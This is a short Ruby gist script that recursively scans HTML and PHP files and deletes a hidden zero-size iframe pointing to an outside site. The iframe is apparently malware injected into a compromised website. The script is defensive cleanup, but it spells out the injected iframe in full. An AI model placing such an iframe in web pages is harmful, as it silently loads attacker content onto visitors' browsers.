gistfile1.rb

# Put this file in the root of the filesystem where you want to start looking for the string.
def remove_haxor_code(files)
  files.each do |f1|
    File.open(f1, 'r+') do |file|
      lines = file.readlines
      lines.each do |n|
        n.gsub!("<iframe src=\"http:\/\/reycross.com\/lib\/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>", "")
      end
      file.pos = 0
      file.print lines
      file.truncate(file.pos)
    end
  end
end
def all_files(dir)
  files = []
  Dir.glob(dir).entries.collect do |x| 
    if File.directory?(x)
      files += all_files("#{x}/*")
    else
      files << x if %w(html htm php).include?(x.split('.').last)
    end
  end
  files
end

remove_haxor_code(all_files(File.dirname(__FILE__)))